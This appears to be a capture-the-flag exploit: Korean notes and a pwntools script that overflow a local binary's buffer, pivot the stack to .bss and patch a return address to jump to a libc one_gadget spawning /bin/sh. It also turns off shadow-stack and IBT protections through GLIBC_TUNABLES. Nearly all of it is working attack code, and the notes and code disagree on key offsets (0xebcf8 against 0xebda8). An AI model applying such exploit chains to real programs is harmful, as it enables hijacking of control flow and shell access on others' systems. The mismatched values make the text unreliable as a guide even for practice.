바이너리(PIE OFF):
LEAVE_RET = 0x401168
POP_RBP_RET = 0x40111d
RET2SCANF는 여기로 고정 → 0x401145
(이 지점부터 다시 rsi/rdi 준비 후 call scanf 재실행되므로 가장 안전)
.bss / RW 페이지: 0x403000–0x405000 → 피벗 = BSS_PIVOT = 0x404400
ret까지 오프셋: 0x108 (버퍼 0x100 + saved rbp 8)
libc 오프셋(네 파일 기준):
FWRITE = 0x7ffa0 → 페이지 오프셋 FWRITE_PAGE = 0x70000
one_gadget는 0xebcf8(execve("/bin/sh", rsi, rdx))로 잡자
DELTA(EBX에 넣을 값):
DELTA = (ONE - FWRITE_PAGE) & 0xffffffff = (0xebcf8 - 0x70000) & 0xffffffff = 0x7bcf8
1차 입력: .bss 피벗 + RET2SCANF(0x401145)
A*0x100 | BSS_PIVOT | LEAVE_RET | RET2SCANF
2차 입력:
RET_SLOT의 **하위 2바이트를 00 00*으로 덮어 그 슬롯이 가리키는 페이지 베이스로 정렬(= …xxxx0000).
그 주소를 (해당 페이지 내의) pop rbx … ret 에필로그 오프셋으로 맞춰 진입.
스택에
rbx = DELTA (=0x7bcf8)
rbp = PTR (이때 [rbp-0x3d]가 **“다음 ret 주소의 하위 4바이트”**에 정확히 걸리도록 세팅)
이어서 ret → POP_RBP_RET(0x40111d) → ADD_EBX(0x40111c) 흐름으로
RET 하위 4바이트가 ONE(0xebcf8)가 되게 패치
그 다음 ret = 원샷 진입 → 쉘.
#!/usr/bin/env python3
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
exe = './prob'
LEAVE_RET = 0x401168
POP_RBP_RET = 0x40111d
ADD_EBX = 0x40111c
RET2SCANF = 0x401145
BSS_BASE = 0x404400
RET_SLOT = 0x4044f8
RET_SLOT_OFF= RET_SLOT - BSS_BASE
PAGE = 0x000070aa82e80000
POP_RBX = PAGE + 0x9c # fwrite+0x252
ONE_OFF = 0x00000000000ebda8
ONE_ADDR = PAGE + ONE_OFF
PAGE_LOW4 = 0x00e80000
ONE_LOW4 = ONE_OFF & 0xffffffff # 0x00ebda8
EBX_DELTA = (ONE_LOW4 - PAGE_LOW4) & 0xffffffff # == 0x000ebda8
def start():
env = {"GLIBC_TUNABLES":"glibc.cpu.hwcaps=-SHSTK,-IBT"}
return process(exe, env=env)
def send_line(io, b, tag=""):
if tag: log.info(f"send[{tag}] len={len(b)}")
io.send(b + b'\\n')
def put_q(buf: bytearray, off: int, q: int):
buf[off:off+8] = p64(q)
def main():
io = start()
log.info(f"PAGE={PAGE:#x}, POP_RBX={POP_RBX:#x}")
log.info(f"ONE = {ONE_ADDR:#x} (off={ONE_OFF:#x})")
log.info(f"EBX_DELTA = 0x{EBX_DELTA:08x} (EXPECT: 0x000ebda8)")
p = b'A'*0x100
p += p64(POP_RBP_RET)
p += p64(BSS_BASE + 0x100) # [rbp-0x100] == BSS_BASE
p += p64(RET2SCANF)
send_line(io, p, "pivot->bss & re-scanf")
s0 = RET_SLOT + 0x10
img_len = (s0 + 0x58) - BSS_BASE
img = bytearray(img_len) # zero-filled
put_q(img, 0x100, RET_SLOT - 8) # saved RBP
put_q(img, 0x108, LEAVE_RET) # next RIP (= leave; ret)
put_q(img, RET_SLOT_OFF + 0x00, POP_RBX) # ret -> PAGE+0x9c
put_q(img, RET_SLOT_OFF + 0x08, EBX_DELTA) # rbx = 0x000ebda8 (LE: a8 bd 0e 00 ...)
put_q(img, RET_SLOT_OFF + 0x10, 0xdeadbeefcafebabe) # dummy rbp
put_q(img, RET_SLOT_OFF + 0x18, 0x0) # r12 = 0
put_q(img, RET_SLOT_OFF + 0x20, 0x3333333344444444) # r13
put_q(img, RET_SLOT_OFF + 0x28, 0x5555555566666666) # r14
put_q(img, RET_SLOT_OFF + 0x30, 0x7777777788888888) # r15
put_q(img, RET_SLOT_OFF + 0x38, POP_RBP_RET) # epilogue ret -> pop rbp; ret
target_addr = RET_SLOT + 0x50 # TARGET_RET qword 위치
new_rbp = target_addr + 0x3d # 반드시 0x404585 여야 한다 (현 세팅에서)
put_q(img, RET_SLOT_OFF + 0x40, new_rbp)
put_q(img, RET_SLOT_OFF + 0x48, ADD_EBX)
put_q(img, RET_SLOT_OFF + 0x50, PAGE)
rbp = new_rbp
argv_addr = rbp - 0x50
envp_ptr = rbp - 0x70
sh_str = BSS_BASE + 0x180
img[0x180:0x180+8] = b"/bin/sh\\x00"
# argv = [&"/bin/sh", NULL]
put_q(img, (argv_addr - BSS_BASE) + 0x00, sh_str)
put_q(img, (argv_addr - BSS_BASE) + 0x08, 0x0)
put_q(img, (envp_ptr - BSS_BASE), 0x0)
assert img[RET_SLOT_OFF:RET_SLOT_OFF+8] == p64(POP_RBX), "RET_SLOT != POP_RBX"
assert img[RET_SLOT_OFF+0x08:RET_SLOT_OFF+0x10] == p64(EBX_DELTA), "rbx value wrong"
assert img[RET_SLOT_OFF+0x38:RET_SLOT_OFF+0x40] == p64(POP_RBP_RET), "ret after epilogue wrong"
assert img[RET_SLOT_OFF+0x40:RET_SLOT_OFF+0x48] == p64(new_rbp), "new_rbp wrong"
assert img[RET_SLOT_OFF+0x48:RET_SLOT_OFF+0x50] == p64(ADD_EBX), "ADD_EBX missing"
assert img[RET_SLOT_OFF+0x50:RET_SLOT_OFF+0x58] == p64(PAGE), "TARGET_RET wrong"
log.success(f"new_rbp should be {new_rbp:#x} (EXPECT 0x404585)")
send_line(io, bytes(img), "BSS final image (fixed)")
io.interactive()
if __name__ == '__main__':
main()
?